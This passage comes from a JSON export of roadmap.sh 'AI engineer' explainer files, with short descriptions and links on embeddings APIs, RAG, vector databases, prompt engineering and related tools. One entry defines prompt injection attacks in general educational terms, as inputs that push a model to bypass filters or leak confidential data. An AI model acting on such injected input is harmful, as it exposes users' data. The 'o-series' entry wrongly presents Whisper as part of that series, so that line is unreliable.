    "content": "# OpenAI Embeddings API\n\nThe OpenAI Embeddings API provides a straightforward way to transform text into numerical vector representations called embeddings. These embeddings capture the semantic meaning of text, allowing you to perform tasks like semantic search, clustering, and similarity comparison by analyzing the relationships between these vectors. The API simplifies the process of generating these embeddings, abstracting away the complexities of training and managing embedding models.\n\nVisit the following resources to learn more:\n\n- [@official@OpenAI Embeddings API](https://platform.openai.com/docs/api-reference/embeddings/create)\n- [@video@Master OpenAI Embedding API](https://www.youtube.com/watch?v=9oCS-VQupoc)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/openai-agentkit@Sm0Ne5Nx72hcZCdAcC0C2.md",
    "content": "# OpenAI AgentKit\n\nOpenAI AgentKit is a framework designed to simplify the process of creating AI agents that can perform specific tasks by leveraging large language models (LLMs). It provides tools and abstractions for managing agent state, defining agent behavior, and connecting agents to various tools and resources, allowing developers to build more complex and capable AI systems without needing to manage all the low-level details.\n\nVisit the following resources to learn more:\n\n- [@official@Introducing AgentKit](https://openai.com/index/introducing-agentkit/)\n- [@official@Build every step of agents on one platform](https://openai.com/agent-platform/)\n- [@video@OpenAI Agents SDK Tutorial (FULL SERIES)](https://www.youtube.com/watch?v=gFcAfU3V1Zo)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/openai-compatible-apis@vnXtUupJUlyU_uCbZBbnk.md",
    "content": "# OpenAI-compatible APIs\n\nOpenAI-compatible APIs are interfaces that mimic the structure and functionality of OpenAI's API. These APIs allow developers to switch between different language models or providers with minimal code changes. This is particularly useful for testing different models, mitigating vendor lock-in, or building fallback mechanisms in case of service disruptions.\n\nVisit the following resources to learn more:\n\n- [@article@OpenAI-compatible API](https://bentoml.com/llm/llm-inference-basics/openai-compatible-api)\n- [@article@OpenAI compatibility - Gemini](https://ai.google.dev/gemini-api/docs/openai)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/openai-gpt-o-series@3PQVZbcr4neNMRr6CuNzS.md",
    "content": "# OpenAI Models (GPT, o-series)\n\nOpenAI models, including the GPT and \"o-series\" (like Whisper), are pre-trained AI models offered by OpenAI, accessible via their API. GPT models excel at natural language tasks like text generation, translation, and question answering. The \"o-series\" refers to OpenAI's other specialized models; for example, Whisper is a speech-to-text transcription model.\n\nVisit the following resources to learn more:\n\n- [@official@OpenAI Platform](https://openai.com/api/)\n- [@official@OpenAI Models](https://developers.openai.com/api/docs/models)\n- [@article@Your guide to the complete OpenAI models list](https://www.eesel.ai/blog/openai-models-list)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/openai-response-api@ro3vY_sp6xMQ-hfzO-rc1.md",
    "content": "# OpenAI Response API\n\nThe OpenAI Response API allows developers to interact with various AI models offered by OpenAI. It provides a structured way to send requests to these models and receive generated text, code, or other outputs. You can control aspects like the prompt, temperature, maximum length, and other parameters to tailor the response to your specific needs. It is intended to eventually replace the Assistants API and the Chat Completions API for new projects.\n\nVisit the following resources to learn more:\n\n- [@official@Responses API](https://developers.openai.com/api/reference/resources/responses/)\n- [@opensource@Why we built the Responses API](https://developers.openai.com/blog/responses-api/)\n- [@video@OpenAI Responses API Tutorial (2025)](https://www.youtube.com/playlist?list=PL4HikwTaYE0EWV3qieOYooyxb9osQLgou)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/openai-response-api@xXLyuUNrKEc32XLQxMjgT.md",
    "content": "# OpenAI Response API\n\nThe OpenAI Response API provides a unified, flexible interface for generating model outputs across text, vision, audio, and tool-augmented workflows. It replaces and generalizes earlier completion-style APIs by allowing developers to send structured input and receive rich, multi-part responses, including model reasoning, tool calls, and streamed outputs.\n\nThis API is designed for building agents and applications that need conversational state, multimodal inputs, structured outputs, and tight integration with tools such as function calling, retrieval, and external services.\n\nVisit the following resources to learn more:\n\n- [@official@Response API Reference](https://platform.openai.com/docs/api-reference/responses)\n- [@video@Build Hour: Responses API](https://www.youtube.com/watch?v=hNr5EebepYs)\n"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/openai-vision-api@CRrqa-dBw1LlOwVbrZhjK.md",
    "content": "# OpenAI Vision API\n\nThe OpenAI Vision API enables models to analyze and understand images, allowing them to identify objects, recognize text, and interpret visual content. It integrates image processing with natural language capabilities, enabling tasks like visual question answering, image captioning, and extracting information from photos. This API can be used for applications in accessibility, content moderation, and automation, providing a seamless way to combine visual understanding with text-based interactions.\n\nVisit the following resources to learn more:\n\n- [@official@Vision](https://platform.openai.com/docs/guides/vision)\n- [@video@OpenAI Vision API Crash Course](https://www.youtube.com/watch?v=ZjkS11DSeEk)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/openrouter@1GlpMjmdAWor0X_BnISGg.md",
    "content": "# OpenRouter\n\nOpenRouter acts as a unified API, providing access to various large language models (LLMs) from different providers like OpenAI, Cohere, and Anthropic through a single platform. This allows developers to easily switch between models, compare their performance, and optimize their applications without needing to manage multiple API keys or integration processes. It essentially streamlines the process of experimenting with and deploying different AI models.\n\nVisit the following resources to learn more:\n\n- [@official@OpenRouter](https://openrouter.ai/)\n- [@article@What is OpenRouter? A Guide with Practical Examples](https://www.codecademy.com/article/what-is-openrouter)\n- [@video@What is Open Router ?](https://www.youtube.com/watch?v=pfT6l0yMsB0)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/performing-similarity-search@ZcbRPtgaptqKqWBgRrEBU.md",
    "content": "# Performing Similarity Search\n\nIn a similarity search, the process begins by converting the user’s query (such as a piece of text or an image) into an embedding—a vector representation that captures the query’s semantic meaning. This embedding is generated using a pre-trained model, such as BERT for text or a neural network for images. Once the query is converted into a vector, it is compared to the embeddings stored in the vector database.\n\nVisit the following resources to learn more:\n\n- [@article@What is Similarity Search & How Does it work?](https://www.truefoundry.com/blog/similarity-search)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/pinecone@_Cf7S1DCvX7p1_3-tP3C3.md",
    "content": "# Pinecone\n\nPinecone is a managed vector database designed for efficient similarity search and real-time retrieval of high-dimensional data, such as embeddings. It allows developers to store, index, and query vector representations, making it easy to build applications like recommendation systems, semantic search, and AI-driven content discovery. Pinecone is scalable, handles large datasets, and provides fast, low-latency searches using optimized indexing techniques.\n\nVisit the following resources to learn more:\n\n- [@official@Pinecone](https://www.pinecone.io)\n- [@article@Everything you need to know about Pinecone](https://www.packtpub.com/article-hub/everything-you-need-to-know-about-pinecone-a-vector-database?srsltid=AfmBOorXsy9WImpULoLjd-42ERvTzj3pQb7C2EFgamWlRobyGJVZKKdz)\n- [@video@Introducing Pinecone Serverless](https://www.youtube.com/watch?v=iCuR6ihHQgc)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/pre-trained-models@d7fzv_ft12EopsQdmEsel.md",
    "content": "# Pre-trained Models\n\nPre-trained models are Machine Learning (ML) models that have been previously trained on a large dataset to solve a specific task or set of tasks. These models learn patterns, features, and representations from the training data, which can then be fine-tuned or adapted for other related tasks. Pre-training provides a good starting point, reducing the amount of data and computation required to train a new model from scratch.\n\nVisit the following resources to learn more:\n\n- [@article@Pre-trained Models: Past, Present and Future](https://www.sciencedirect.com/science/article/pii/S2666651021000231)\n- [@video@Transforming Language with Generative Pre-trained Transformers (GPT)](https://www.youtube.com/watch?v=bdICz_sBI34)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/prompt-caching@bqqY0gsZkBpcHMZw1hcZ5.md",
    "content": "# Prompt Caching\n\nPrompt caching is a technique that stores the results of previous LLM prompts, allowing you to quickly retrieve and reuse them instead of re-running the prompt every time. This can significantly improve efficiency and reduce costs when dealing with frequently used or computationally expensive prompts.\n\nVisit the following resources to learn more:\n\n- [@article@What is Prompt Caching?](https://www.ibm.com/think/topics/prompt-caching)\n- [@video@What is Prompt Caching? Optimize LLM Latency with AI Transformers](https://www.youtube.com/watch?v=u57EnkQaUTY)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/prompt-engineering@VjXmSCdzi2ACv-W85Sy9D.md",
    "content": "# Prompt Engineering\n\nPrompt engineering is the art and science of crafting effective prompts, which are the instructions or inputs given to a large language model (LLM). The goal is to design prompts that elicit the desired response from the LLM, guiding it to generate accurate, relevant, and creative outputs. This involves understanding the LLM's capabilities and limitations, and experimenting with different prompt structures, keywords, and contextual cues to achieve optimal results.\n\nVisit the following resources to learn more:\n\n- [@roadmap@Visit Dedicated Prompt Engineering Roadmap](https://roadmap.sh/prompt-engineering)\n- [@article@What is Prompt Engineering? - AI Prompt Engineering Explained - AWS](https://aws.amazon.com/what-is/prompt-engineering/)\n- [@article@Advanced Prompt Engineering for Data Science Projects](https://towardsdatascience.com/advanced-prompt-engineering-for-data-science-projects/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@What is Prompt Engineering?](https://www.youtube.com/watch?v=nf1e-55KKbg)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/prompt-injection-attacks@cUyLT6ctYQ1pgmodCKREq.md",
    "content": "# Prompt Injection Attacks\n\nPrompt injection attacks are a type of security vulnerability where malicious inputs are crafted to manipulate or exploit AI models, like language models, to produce unintended or harmful outputs. These attacks involve injecting deceptive or adversarial content into the prompt to bypass filters, extract confidential information, or make the model respond in ways it shouldn't. For instance, a prompt injection could trick a model into revealing sensitive data or generating inappropriate responses by altering its expected behavior.\n\nVisit the following resources to learn more:\n\n- [@article@Prompt Injection in LLMs](https://www.promptingguide.ai/prompts/adversarial-prompting/prompt-injection)\n- [@article@What is a Prompt Injection Attack?](https://www.wiz.io/academy/prompt-injection-attack)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/prompt-vs-context-engineering@ozrR8IvjNFbHd44kZrExX.md",
    "content": "# Prompt vs. Context Engineering\n\nPrompt engineering focuses on crafting effective instructions (prompts) to elicit desired outputs from Large Language Models (LLMs). Context engineering, on the other hand, involves structuring and providing relevant background information (the context) to the LLM, enabling it to generate more accurate and informed responses based on a richer understanding of the subject matter.\n\nVisit the following resources to learn more:\n\n- [@article@Context engineering vs. prompt engineering](https://www.elastic.co/search-labs/blog/context-engineering-vs-prompt-engineering)\n- [@article@Effective context engineering for AI agents](https://www.anthropic.com/engineering/effective-context-engineering-for-ai-agents)\n- [@article@Beyond Prompting: The Power of Context Engineering](https://towardsdatascience.com/beyond-prompting-the-power-of-context-engineering/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@Context Engineering vs. Prompt Engineering: Smarter AI with RAG & Agents](https://www.youtube.com/watch?v=vD0E3EUb8-8)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/purpose-and-functionality@WcjX6p-V-Rdd77EL8Ega9.md",
    "content": "# Purpose and Functionality\n\nA vector database is designed to store, manage, and retrieve high-dimensional vectors (embeddings) generated by AI models. Its primary purpose is to perform fast and efficient similarity searches, enabling applications to find data points that are semantically or visually similar to a given query. Unlike traditional databases, which handle structured data, vector databases excel at managing unstructured data like text, images, and audio by converting them into dense vector representations. They use indexing techniques, such as approximate nearest neighbor (ANN) algorithms, to quickly search large datasets and return relevant results. Vector databases are essential for applications like recommendation systems, semantic search, and content discovery, where understanding and retrieving similar items is crucial.\n\nVisit the following resources to learn more:\n\n- [@article@What is a Vector Database? Top 12 Use Cases](https://lakefs.io/blog/what-is-vector-databases/)\n- [@article@Vector Databases: Intro, Use Cases](https://www.v7labs.com/blog/vector-databases)\n- [@article@When (Not) to Use Vector DB](https://towardsdatascience.com/when-not-to-use-vector-db/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/qdrant@DwOAL5mOBgBiw-EQpAzQl.md",
    "content": "# Qdrant\n\nQdrant is an open-source vector database designed for efficient similarity search and real-time data retrieval. It specializes in storing and indexing high-dimensional vectors (embeddings) to enable fast and accurate searches across large datasets. Qdrant is particularly suited for applications like recommendation systems, semantic search, and AI-driven content discovery, where finding similar items quickly is essential. It supports advanced filtering, scalable indexing, and real-time updates, making it easy to integrate into machine learning workflows.\n\nVisit the following resources to learn more:\n\n- [@official@Qdrant](https://qdrant.tech/)\n- [@opensource@Qdrant on GitHub](https://github.com/qdrant/qdrant)\n- [@video@Getting started with Qdrant](https://www.youtube.com/watch?v=LRcZ9pbGnno)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/qwen@c0RPhpD00VIUgF4HJgN2T.md",
    "content": "# Qwen\n\nQwen is a series of large language models (LLMs) developed by Alibaba Group. These models are open-source, meaning their code and architecture are publicly available, allowing researchers and developers to use, study, and modify them for their own purposes. Qwen models are designed to perform various natural language processing tasks, such as text generation, translation, and question answering, and come in different sizes, allowing for flexibility based on computational resources and specific application requirements.\n\nVisit the following resources to learn more:\n\n- [@official@Qwen](https://chat.qwen.ai/)\n- [@article@What is Qwen AI?](https://zapier.com/blog/qwen/)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/rag-and-dynamic-filters@LnQ2AatMWpExUHcZhDIPd.md",
    "content": "# RAG and Dynamic Filters\n\nRetrieval-Augmented Generation (RAG) enhances Large Language Models (LLMs) by providing them with relevant, up-to-date information from external sources. Dynamic filters are techniques that selectively filter the information retrieved for RAG, ensuring that the LLM receives only the most pertinent context based on the specific query and user. This results in more accurate, focused, and contextually appropriate LLM responses.\n\nVisit the following resources to learn more:\n\n- [@article@4 context engineering strategies every AI engineer needs to know](https://newsletter.owainlewis.com/p/4-context-engineering-strategies)\n- [@article@Context Engineering](https://blog.langchain.com/context-engineering-for-agents/)\n- [@article@Is RAG Dead? The Rise of Context Engineering and Semantic Layers for Agentic AI](https://towardsdatascience.com/beyond-rag/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/rag-usecases@GCn4LGNEtPI0NWYAZCRE-.md",
    "content": "# RAG Usecases\n\nRetrieval-Augmented Generation (RAG) enhances applications like chatbots, customer support, and content summarization by combining information retrieval with language generation. It retrieves relevant data from a knowledge base and uses it to generate accurate, context-aware responses, making it ideal for tasks such as question answering, document generation, and semantic search. RAG’s ability to ground outputs in real-world information leads to more reliable and informative results, improving user experience across various domains.\n\nVisit the following resources to learn more:\n\n- [@article@Retrieval augmented generation use cases: Transforming data into insights](https://www.glean.com/blog/retrieval-augmented-generation-use-cases)\n- [@article@Retrieval Augmented Generation (RAG) – 5 Use Cases](https://theblue.ai/blog/rag-news/)\n- [@article@How to Train a Chatbot Using RAG and Custom Data](https://towardsdatascience.com/how-to-train-a-chatbot-using-rag-and-custom-data/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@Introduction to RAG](https://www.youtube.com/watch?v=LmiFeXH-kq8&list=PL-pTHQz4RcBbz78Z5QXsZhe9rHuCs1Jw-)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/rag-vs-fine-tuning@qlBEXrbV88e_wAGRwO9hW.md",
    "content": "# RAG vs Fine-tuning\n\nRAG (Retrieval-Augmented Generation) and fine-tuning are two approaches to enhancing language models, but they differ in methodology and use cases. Fine-tuning involves training a pre-trained model on a specific dataset to adapt it to a particular task, making it more accurate for that context but limited to the knowledge present in the training data. RAG, on the other hand, combines real-time information retrieval with generation, enabling the model to access up-to-date external data and produce contextually relevant responses. While fine-tuning is ideal for specialized, static tasks, RAG is better suited for dynamic tasks that require real-time, fact-based responses.\n\nVisit the following resources to learn more:\n\n- [@article@RAG vs Fine Tuning: How to Choose the Right Method](https://www.montecarlodata.com/blog-rag-vs-fine-tuning/)\n- [@article@RAG vs Finetuning — Which Is the Best Tool to Boost Your LLM Application?](https://towardsdatascience.com/rag-vs-finetuning-which-is-the-best-tool-to-boost-your-llm-application-94654b1eaba7)\n- [@video@RAG vs Fine-tuning](https://www.youtube.com/watch?v=00Q0G84kq3M)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/rag@IX1BJWGwGmB4L063g0Frf.md",
    "content": "# RAG\n\nRetrieval-Augmented Generation (RAG) is an AI approach that combines information retrieval with language generation to create more accurate, contextually relevant outputs. It works by first retrieving relevant data from a knowledge base or external source, then using a language model to generate a response based on that information. This method enhances the accuracy of generative models by grounding their outputs in real-world data, making RAG ideal for tasks like question answering, summarization, and chatbots that require reliable, up-to-date information.\n\nVisit the following resources to learn more:\n\n- [@article@What is Retrieval-Augmented Generation? - Google](https://cloud.google.com/use-cases/retrieval-augmented-generation)\n- [@article@RAG Explained: Understanding Embeddings, Similarity, and Retrieval](https://towardsdatascience.com/rag-explained-understanding-embeddings-similarity-and-retrieval/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@video@What is Retrieval-Augmented Generation? - IBM](https://www.youtube.com/watch?v=T-D1OfcDW1M)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/ragflow@d0ontCII8KI8wfP-8Y45R.md",
    "content": "# RAGFlow\n\nRAGFlow is a framework designed to streamline the creation, evaluation, and deployment of Retrieval-Augmented Generation (RAG) pipelines. It provides tools and abstractions for building modular RAG systems, allowing developers to easily experiment with different components like data loaders, retrievers, and generators, and then assess their performance.\n\nVisit the following resources to learn more:\n\n- [@official@RagFlow](https://ragflow.io/)\n- [@opensource@ragflow](https://github.com/infiniflow/ragflow)\n- [@video@RagFlow: Ultimate RAG Engine](https://www.youtube.com/watch?v=ApA-7G7FGRc)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/react-prompting@voDKcKvXtyLzeZdx2g3Qn.md",
    "content": "# ReAct Prompting\n\nReAct prompting is a technique that combines reasoning and action by guiding language models to think through a problem step-by-step and then take specific actions based on the reasoning. It encourages the model to break down tasks into logical steps (reasoning) and perform operations, such as calling APIs or retrieving information (actions), to reach a solution. This approach helps in scenarios where the model needs to process complex queries, interact with external systems, or handle tasks requiring a sequence of actions, improving the model's ability to provide accurate and context-aware responses.\n\nVisit the following resources to learn more:\n\n- [@article@ReAct Prompting](https://www.promptingguide.ai/techniques/react)\n- [@article@ReAct Prompting: How We Prompt for High-Quality Results from LLMs](https://www.width.ai/post/react-prompting)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/react@Waox7xR_yUeSnOtQFzU4c.md",
    "content": "# ReAct\n\nReAct (Reason and Act) prompting enables LLMs to solve complex tasks by combining reasoning with external tool interactions. It follows a thought-action-observation loop: analyze the problem, perform actions using external APIs, review results, and iterate until solved. Useful for research, multi-step problems, and tasks requiring current data.\n\nVisit the following resources to learn more:\n\n- [@article@ReAct Prompting](https://www.promptingguide.ai/techniques/react)\n- [@video@4 Methods of Prompt Engineering](https://youtu.be/vD0E3EUb8-8?si=Y6MCLPzjmhMB4jSu&t=203)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/recommendation-systems@HQe9GKy3p0kTUPxojIfSF.md",
    "content": "# Recommendation Systems\n\nIn the context of embeddings, recommendation systems use vector representations to capture similarities between items, such as products or content. By converting items and user preferences into embeddings, these systems can measure how closely related different items are based on vector proximity, allowing them to recommend similar products or content based on a user's past interactions. This approach improves recommendation accuracy and efficiency by enabling meaningful, scalable comparisons of complex data.\n\nVisit the following resources to learn more:\n\n- [@article@What Role does AI Play in Recommendation Systems and Engines?](https://www.algolia.com/blog/ai/what-role-does-ai-play-in-recommendation-systems-and-engines/)\n- [@article@What is a Recommendation Engine?](https://www.ibm.com/think/topics/recommendation-engine)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/repetition-penalties@0_pa739kMPWHfuSQV-VO7.md",
    "content": "# Repetition Penalties\n\nRepetition penalties discourage LLMs from repeating words or phrases by reducing the probability of selecting previously used tokens. This includes frequency penalty (scales with usage count) and presence penalty (applies equally to any used token). These parameters improve output quality by promoting vocabulary diversity and preventing redundant phrasing.\n\nVisit the following resources to learn more:\n\n- [@article@Stop the LLM From Rambling: Using Penalties to Control Repetition](https://dev.to/superorange0707/stop-the-llm-from-rambling-using-penalties-to-control-repetition-5h8)\n- [@video@What are LLM Presence and Frequency Penalties?](https://www.youtube.com/watch?v=J66CRz6s734)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/replit@Ubk4GN0Z4XlDJ3EbRXdxg.md",
    "content": "# Replit\n\nReplit is an online integrated development environment (IDE) that allows users to write and run code in various programming languages directly in their web browser. It provides a collaborative coding environment with features like real-time collaboration, version control, and package management, making it easy to build and deploy projects without needing to install software locally. Replit also incorporates AI features like code completion and generation to help streamline the coding process.\n\nVisit the following resources to learn more:\n\n- [@official@Replit](https://replit.com/)\n- [@article@What is Replit? An honest look at the AI app builder in 2025](https://www.eesel.ai/blog/replit)\n- [@video@Getting Started with Replit](https://www.youtube.com/watch?v=St95nPOwsa8&list=PLto9KpJAqHMTzEMDAFT4r5LlI4NByngyT)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/retrieval-process@OCGCzHQM2LQyUWmiqe6E0.md",
    "content": "# Retrieval Process\n\nThe retrieval process in Retrieval-Augmented Generation (RAG) involves finding relevant information from a large dataset or knowledge base to support the generation of accurate, context-aware responses. When a query is received, the system first converts it into a vector (embedding) and uses this vector to search a database of pre-indexed embeddings, identifying the most similar or relevant data points. Techniques like approximate nearest neighbor (ANN) search are often used to speed up this process.\n\nVisit the following resources to learn more:\n\n- [@article@What is Retrieval-Augmented Generation (RAG)?](https://cloud.google.com/use-cases/retrieval-augmented-generation)\n- [@article@What Is Retrieval-Augmented Generation, aka RAG?](https://blogs.nvidia.com/blog/what-is-retrieval-augmented-generation/)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/robust-prompt-engineering@qmx6OHqx4_0JXVIv8dASp.md",
    "content": "# Robust prompt engineering\n\nRobust prompt engineering involves carefully crafting inputs to guide AI models toward producing accurate, relevant, and reliable outputs. It focuses on minimizing ambiguity and maximizing clarity by providing specific instructions, examples, or structured formats. Effective prompts anticipate potential issues, such as misinterpretation or inappropriate responses, and address them through testing and refinement. This approach enhances the consistency and quality of the model's behavior, making it especially useful for complex tasks like multi-step reasoning, content generation, and interactive systems.\n\nVisit the following resources to learn more:\n\n- [@article@Building Robust Prompt Engineering Capability](https://aimresearch.co/product/building-robust-prompt-engineering-capability)\n- [@article@Effective Prompt Engineering: A Comprehensive Guide](https://medium.com/@nmurugs/effective-prompt-engineering-a-comprehensive-guide-803160c571ed)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/role--behavior@N3TzWYxU0jgv1l99Ts58n.md",
    "content": "# Role & Behavior\n\nSystem prompting involves crafting instructions that define the AI model's role, personality, and overall behavior when interacting with users. This allows you to shape the AI's responses, ensuring they are consistent with desired guidelines, such as adopting a specific persona (e.g., a helpful assistant, an expert) or adhering to constraints on tone and style. By carefully defining these aspects, you can significantly influence the AI's output and guide it towards more relevant and effective interactions.\n\nVisit the following resources to learn more:\n\n- [@article@Beyond Basics: Contextual & Role Prompting That Actually Works](https://medium.com/@the_manoj_desai/beyond-basics-contextual-role-prompting-that-actually-works-bd75a0c5086b)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/roles-and-responsiblities@K9EiuFgPBFgeRxY4wxAmb.md",
    "content": "# Roles and Responsibilities\n\nAI Engineers are responsible for designing, developing, and deploying AI systems that solve real-world problems. Their roles include building machine learning models, implementing data processing pipelines, and integrating AI solutions into existing software or platforms. They work on tasks like data collection, cleaning, and labeling, as well as model training, testing, and optimization to ensure high performance and accuracy. AI Engineers also focus on scaling models for production use, monitoring their performance, and troubleshooting issues. Additionally, they collaborate with data scientists, software developers, and other stakeholders to align AI projects with business goals, ensuring that solutions are reliable, efficient, and ethically sound.\n\nVisit the following resources to learn more:\n\n- [@article@AI Engineer Job Description](https://resources.workable.com/ai-engineer-job-description)\n- [@article@How To Become an AI Engineer (Plus Job Duties and Skills)](https://www.indeed.com/career-advice/finding-a-job/ai-engineer)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/sampling-parameters@LbB2PeytxRSuU07Bk0KlJ.md",
    "content": "# Sampling Parameters\n\nSampling parameters are settings that control the randomness and creativity of the text generated by the LLM. They influence how the model chooses the next word in a sequence, impacting the overall coherence, diversity, and relevance of the output. Adjusting these parameters allows users to fine-tune the LLM's responses for specific applications, balancing between predictable, safe outputs and more imaginative, exploratory ones."
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/security-and-privacy-concerns@sWBT-j2cRuFqRFYtV_5TK.md",
    "content": "# Security and Privacy Concerns\n\nSecurity and privacy concerns in AI revolve around the protection of data and the responsible use of models. Key issues include ensuring that sensitive data, such as personal information, is handled securely during collection, processing, and storage, to prevent unauthorized access and breaches. AI models can also inadvertently expose sensitive data if not properly designed, leading to privacy risks through data leakage or misuse. Additionally, there are concerns about model bias, data misuse, and ensuring transparency in how AI decisions are made.\n\nVisit the following resources to learn more:\n\n- [@article@Examining Privacy Risks in AI Systems](https://transcend.io/blog/ai-and-privacy)\n- [@video@AI Is Dangerous, but Not for the Reasons You Think | Sasha Luccioni | TED](https://www.youtube.com/watch?v=eXdVDhOGqoE)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/self-hosted-models@_qqITQ8O0Q0RWUeZsUXnY.md",
    "content": "# Self-Hosted AI Models\n\nSelf-hosted AI models are machine learning models that are deployed and run on your own infrastructure, rather than relying on a third-party service or cloud provider. This means you have complete control over the hardware, software, and data used to run the model, allowing for greater customization, security, and potentially lower long-term costs, depending on your specific needs and scale.\n\nVisit the following resources to learn more:\n\n- [@article@Self-Hosted LLM: A Practical Guide for DevOps](https://www.plural.sh/blog/self-hosting-large-language-models/)\n- [@article@Serverless vs. self-hosted LLM inference](https://bentoml.com/llm/llm-inference-basics/serverless-vs-self-hosted-llm-inference)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/semantic-search@eMfcyBxnMY_l_5-8eg6sD.md",
    "content": "# Semantic Search\n\nEmbeddings are used for semantic search by converting text, such as queries and documents, into high-dimensional vectors that capture the underlying meaning and context, rather than just exact words. These embeddings represent the semantic relationships between words or phrases, allowing the system to understand the query’s intent and retrieve relevant information, even if the exact terms don’t match.\n\nVisit the following resources to learn more:\n\n- [@article@What is Semantic Search?](https://www.elastic.co/what-is/semantic-search)\n- [@video@What is Semantic Search? - Cohere](https://www.youtube.com/watch?v=fFt4kR4ntAA)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/sentence-transformers@ZV_V6sqOnRodgaw4mzokC.md",
    "content": "# Sentence Transformers\n\nSentence Transformers are a type of model designed to generate high-quality embeddings for sentences, allowing them to capture the semantic meaning of text. Unlike traditional word embeddings, which represent individual words, Sentence Transformers understand the context of entire sentences, making them ideal for tasks that require semantic similarity, such as sentence clustering, semantic search, and paraphrase detection. Built on top of transformer models like BERT and RoBERTa, they convert sentences into dense vectors, where similar sentences are placed closer together in vector space.\n\nVisit the following resources to learn more:\n\n- [@article@What is BERT?](https://h2o.ai/wiki/bert/)\n- [@article@SentenceTransformers Documentation](https://sbert.net/)\n- [@article@Using Sentence Transformers at Hugging Face](https://huggingface.co/docs/hub/sentence-transformers)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/speech-to-text@jQX10XKd_QM5wdQweEkVJ.md",
    "content": "# Speech-to-Text\n\nIn the context of multimodal AI, speech-to-text technology converts spoken language into written text, enabling seamless integration with other data types like images and text. This allows AI systems to process audio input and combine it with visual or textual information, enhancing applications such as virtual assistants, interactive chatbots, and multimedia content analysis. For example, a multimodal AI can transcribe a video’s audio while simultaneously analyzing on-screen visuals and text, providing richer and more context-aware insights.\n\nVisit the following resources to learn more:\n\n- [@article@What is Speech to Text?](https://aws.amazon.com/what-is/speech-to-text/)\n- [@article@Turn Speech into Text using Google AI](https://cloud.google.com/speech-to-text)\n- [@article@How is Speech to Text Used?](https://h2o.ai/wiki/speech-to-text/)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/streaming-responses@MUDBYjR7uCUZQ-kQxi2K_.md",
    "content": "# Streaming Responses\n\nStreamed responses is one of the techniques an AI agent can use to send its answer to the user. With a streamed response, the agent starts sending words as soon as it generates them. The user sees the text grow on the screen in real time. This feels fast and lets the user stop or change the request early. It is useful for long answers and chat-like apps. By contrast, an unstreamed response waits until the whole answer is ready, then sends it all at once. This makes the code on the client side simpler and is easier to cache or log, but the user must wait longer, especially for big outputs.\n\nVisit the following resources to learn more:\n\n- [@article@Streaming Responses in AI: How AI Outputs Are Generated in Real Time](https://dev.to/pranshu_kabra_fe98a73547a/streaming-responses-in-ai-how-ai-outputs-are-generated-in-real-time-18kb)\n- [@article@Streaming vs Non-Streaming LLM Responses](https://medium.com/@vasanthancomrads/streaming-vs-non-streaming-llm-responses-db297ba5467e)\n- [@article@AI for Web Devs: Faster Responses with HTTP Streaming](https://austingil.com/ai-for-web-devs-streaming/)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/structured-output@zqhmLzHsmDlrTFVHzhq6-.md",
    "content": "# Structured Outputs\n\nStructured output in system prompting refers to designing prompts that guide a Large Language Model (LLM) to generate responses in a predefined format, such as JSON, XML, or a specific text-based structure. This approach focuses on crafting system prompts to elicit predictable and parseable outputs, making it easier to integrate LLM responses into downstream applications and workflows. By providing clear instructions and examples of the desired output structure, we can reliably extract information and automate processes.\n\nVisit the following resources to learn more:\n\n- [@article@Structured Output](https://abdullin.com/structured-output/)\n- [@article@Generating Structured Outputs from LLMs](https://towardsdatascience.com/generating-structured-outputs-from-llms/?utm_source=roadmap&utm_medium=Referral&utm_campaign=TDS+roadmap+integration)\n- [@article@How do Structured Outputs Work?](https://docs.cohere.com/docs/structured-outputs)"
  },
  {
    "path": "src/data/roadmaps/ai-engineer/content/supabase@9kT7EEQsbeD2WDdN9ADx7.md",
